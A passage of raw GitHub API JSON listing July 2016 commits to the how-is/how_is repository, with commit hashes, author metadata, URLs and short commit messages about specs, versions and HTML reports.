uckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7529040f27a69b71ed2a6804896c234e04c7ca93","url":"https://api.github.com/repos/how-is/how_is/commits/7529040f27a69b71ed2a6804896c234e04c7ca93","html_url":"https://github.com/how-is/how_is/commit/7529040f27a69b71ed2a6804896c234e04c7ca93"}]},{"sha":"7529040f27a69b71ed2a6804896c234e04c7ca93","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzUyOTA0MGYyN2E2OWI3MWVkMmE2ODA0ODk2YzIzNGUwNGM3Y2E5Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T00:28:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T00:28:40Z"},"message":"Consistent naming in specs.","tree":{"sha":"34626112e1a787c1140dcfbf5f7064827998ff8c","url":"https://api.github.com/repos/how-is/how_is/git/trees/34626112e1a787c1140dcfbf5f7064827998ff8c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7529040f27a69b71ed2a6804896c234e04c7ca93","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7529040f27a69b71ed2a6804896c234e04c7ca93","html_url":"https://github.com/how-is/how_is/commit/7529040f27a69b71ed2a6804896c234e04c7ca93","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7529040f27a69b71ed2a6804896c234e04c7ca93/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ae343214ec667279e50fbd740646243cb95af024","url":"https://api.github.com/repos/how-is/how_is/commits/ae343214ec667279e50fbd740646243cb95af024","html_url":"https://github.com/how-is/how_is/commit/ae343214ec667279e50fbd740646243cb95af024"}]},{"sha":"0c84865de2e38adb1b0fe3bf2e63c1622a82231b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGM4NDg2NWRlMmUzOGFkYjFiMGZlM2JmMmU2M2MxNjIyYTgyMjMxYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T12:12:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T12:12:48Z"},"message":"Use tessellator-fetcher v4.0.","tree":{"sha":"8b614b9870c39613945476a5bea6d91b8894a411","url":"https://api.github.com/repos/how-is/how_is/git/trees/8b614b9870c39613945476a5bea6d91b8894a411"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0c84865de2e38adb1b0fe3bf2e63c1622a82231b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0c84865de2e38adb1b0fe3bf2e63c1622a82231b","html_url":"https://github.com/how-is/how_is/commit/0c84865de2e38adb1b0fe3bf2e63c1622a82231b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0c84865de2e38adb1b0fe3bf2e63c1622a82231b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"71d8337f36159400cc5419747620f0f8fa209ac1","url":"https://api.github.com/repos/how-is/how_is/commits/71d8337f36159400cc5419747620f0f8fa209ac1","html_url":"https://github.com/how-is/how_is/commit/71d8337f36159400cc5419747620f0f8fa209ac1"}]},{"sha":"ae343214ec667279e50fbd740646243cb95af024","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWUzNDMyMTRlYzY2NzI3OWU1MGZiZDc0MDY0NjI0M2NiOTVhZjAyNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T12:07:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T12:07:50Z"},"message":"Version bump.","tree":{"sha":"17aacb8e8440d331cd9a81159ea73af4b6bc1444","url":"https://api.github.com/repos/how-is/how_is/git/trees/17aacb8e8440d331cd9a81159ea73af4b6bc1444"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ae343214ec667279e50fbd740646243cb95af024","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ae343214ec667279e50fbd740646243cb95af024","html_url":"https://github.com/how-is/how_is/commit/ae343214ec667279e50fbd740646243cb95af024","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ae343214ec667279e50fbd740646243cb95af024/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7b8303a63e447d227342d3b2d2f9eb35f0015b00","url":"https://api.github.com/repos/how-is/how_is/commits/7b8303a63e447d227342d3b2d2f9eb35f0015b00","html_url":"https://github.com/how-is/how_is/commit/7b8303a63e447d227342d3b2d2f9eb35f0015b00"}]},{"sha":"7b8303a63e447d227342d3b2d2f9eb35f0015b00","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2I4MzAzYTYzZTQ0N2QyMjczNDJkM2IyZDJmOWViMzVmMDAxNWIwMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T12:06:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T12:06:19Z"},"message":"Show error if passing an incorrect format to executable. Fixes #16.","tree":{"sha":"7f990a8c9573ec9d6a1e845edb04e7d962659862","url":"https://api.github.com/repos/how-is/how_is/git/trees/7f990a8c9573ec9d6a1e845edb04e7d962659862"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7b8303a63e447d227342d3b2d2f9eb35f0015b00","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7b8303a63e447d227342d3b2d2f9eb35f0015b00","html_url":"https://github.com/how-is/how_is/commit/7b8303a63e447d227342d3b2d2f9eb35f0015b00","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7b8303a63e447d227342d3b2d2f9eb35f0015b00/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"54c379a4c2be759a7de9b3f3e902bf224bc42946","url":"https://api.github.com/repos/how-is/how_is/commits/54c379a4c2be759a7de9b3f3e902bf224bc42946","html_url":"https://github.com/how-is/how_is/commit/54c379a4c2be759a7de9b3f3e902bf224bc42946"}]},{"sha":"54c379a4c2be759a7de9b3f3e902bf224bc42946","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTRjMzc5YTRjMmJlNzU5YTdkZTliM2YzZTkwMmJmMjI0YmM0Mjk0Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T11:54:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-13T11:54:33Z"},"message":"Fix documentation.","tree":{"sha":"188b43c4cd150e9f79929f5cd0ad35530d7dc22c","url":"https://api.github.com/repos/how-is/how_is/git/trees/188b43c4cd150e9f79929f5cd0ad35530d7dc22c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/54c379a4c2be759a7de9b3f3e902bf224bc42946","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/54c379a4c2be759a7de9b3f3e902bf224bc42946","html_url":"https://github.com/how-is/how_is/commit/54c379a4c2be759a7de9b3f3e902bf224bc42946","comments_url":"https://api.github.com/repos/how-is/how_is/commits/54c379a4c2be759a7de9b3f3e902bf224bc42946/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"47984caae663f9f55d9e92e98edbb6b66a1623e3","url":"https://api.github.com/repos/how-is/how_is/commits/47984caae663f9f55d9e92e98edbb6b66a1623e3","html_url":"https://github.com/how-is/how_is/commit/47984caae663f9f55d9e92e98edbb6b66a1623e3"}]},{"sha":"71d8337f36159400cc5419747620f0f8fa209ac1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzFkODMzN2YzNjE1OTQwMGNjNTQxOTc0NzYyMGYwZjhmYTIwOWFjMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T06:10:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T06:10:15Z"},"message":"???","tree":{"sha":"19f648a4443a320c62e856097d44b8262b2b824a","url":"https://api.github.com/repos/how-is/how_is/git/trees/19f648a4443a320c62e856097d44b8262b2b824a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/71d8337f36159400cc5419747620f0f8fa209ac1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/71d8337f36159400cc5419747620f0f8fa209ac1","html_url":"https://github.com/how-is/how_is/commit/71d8337f36159400cc5419747620f0f8fa209ac1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/71d8337f36159400cc5419747620f0f8fa209ac1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"47984caae663f9f55d9e92e98edbb6b66a1623e3","url":"https://api.github.com/repos/how-is/how_is/commits/47984caae663f9f55d9e92e98edbb6b66a1623e3","html_url":"https://github.com/how-is/how_is/commit/47984caae663f9f55d9e92e98edbb6b66a1623e3"}]},{"sha":"47984caae663f9f55d9e92e98edbb6b66a1623e3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDc5ODRjYWFlNjYzZjlmNTVkOWU5MmU5OGVkYmI2YjY2YTE2MjNlMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:28:55Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-07-10T05:28:55Z"},"message":"Merge pull request #20 from duckinator/html-links\n\nHTML links","tree":{"sha":"5711739aecd0e96d7e30dd6b6645bb836b5894e8","url":"https://api.github.com/repos/how-is/how_is/git/trees/5711739aecd0e96d7e30dd6b6645bb836b5894e8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/47984caae663f9f55d9e92e98edbb6b66a1623e3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/47984caae663f9f55d9e92e98edbb6b66a1623e3","html_url":"https://github.com/how-is/how_is/commit/47984caae663f9f55d9e92e98edbb6b66a1623e3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/47984caae663f9f55d9e92e98edbb6b66a1623e3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9733dc75b074d8ca46836402510fbf2186361a8","url":"https://api.github.com/repos/how-is/how_is/commits/c9733dc75b074d8ca46836402510fbf2186361a8","html_url":"https://github.com/how-is/how_is/commit/c9733dc75b074d8ca46836402510fbf2186361a8"},{"sha":"cd89297eef765c7e90fd586c66c211489b4eca16","url":"https://api.github.com/repos/how-is/how_is/commits/cd89297eef765c7e90fd586c66c211489b4eca16","html_url":"https://github.com/how-is/how_is/commit/cd89297eef765c7e90fd586c66c211489b4eca16"}]},{"sha":"cd89297eef765c7e90fd586c66c211489b4eca16","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2Q4OTI5N2VlZjc2NWM3ZTkwZmQ1ODZjNjZjMjExNDg5YjRlY2ExNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:27:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:27:01Z"},"message":"Un-break HTML reports.","tree":{"sha":"5711739aecd0e96d7e30dd6b6645bb836b5894e8","url":"https://api.github.com/repos/how-is/how_is/git/trees/5711739aecd0e96d7e30dd6b6645bb836b5894e8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cd89297eef765c7e90fd586c66c211489b4eca16","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cd89297eef765c7e90fd586c66c211489b4eca16","html_url":"https://github.com/how-is/how_is/commit/cd89297eef765c7e90fd586c66c211489b4eca16","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cd89297eef765c7e90fd586c66c211489b4eca16/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7901a246d551764087a242ded3c00e225d63b931","url":"https://api.github.com/repos/how-is/how_is/commits/7901a246d551764087a242ded3c00e225d63b931","html_url":"https://github.com/how-is/how_is/commit/7901a246d551764087a242ded3c00e225d63b931"}]},{"sha":"7901a246d551764087a242ded3c00e225d63b931","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzkwMWEyNDZkNTUxNzY0MDg3YTI0MmRlZDNjMDBlMjI1ZDYzYjkzMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:23:34Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:23:34Z"},"message":"Add links to JSON reports.","tree":{"sha":"61454c12e71a0a102ddb4471f9d660879a714a9e","url":"https://api.github.com/repos/how-is/how_is/git/trees/61454c12e71a0a102ddb4471f9d660879a714a9e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7901a246d551764087a242ded3c00e225d63b931","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7901a246d551764087a242ded3c00e225d63b931","html_url":"https://github.com/how-is/how_is/commit/7901a246d551764087a242ded3c00e225d63b931","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7901a246d551764087a242ded3c00e225d63b931/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8e3f3fc949fa82939a2f164d2d15e3447a62fa0a","url":"https://api.github.com/repos/how-is/how_is/commits/8e3f3fc949fa82939a2f164d2d15e3447a62fa0a","html_url":"https://github.com/how-is/how_is/commit/8e3f3fc949fa82939a2f164d2d15e3447a62fa0a"}]},{"sha":"8e3f3fc949fa82939a2f164d2d15e3447a62fa0a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGUzZjNmYzk0OWZhODI5MzlhMmYxNjRkMmQxNWUzNDQ3YTYyZmEwYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:04:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-10T05:04:46Z"},"message":"Fix typo.","tree":{"sha":"aab344032d3014556f6a50010f7dd45d6bbef944","url":"https://api.github.com/repos/how-is/how_is/git/trees/aab344032d3014556f6a50010f7dd45d6bbef944"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8e3f3fc949fa82939a2f164d2d15e3447a62fa0a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8e3f3fc949fa82939a2f164d2d15e3447a62fa0a","html_url":"https://github.com/how-is/how_is/commit/8e3f3fc949fa82939a2f164d2d15e3447a62fa0a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8e3f3fc949fa82939a2f164d2d15e3447a62fa0a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/u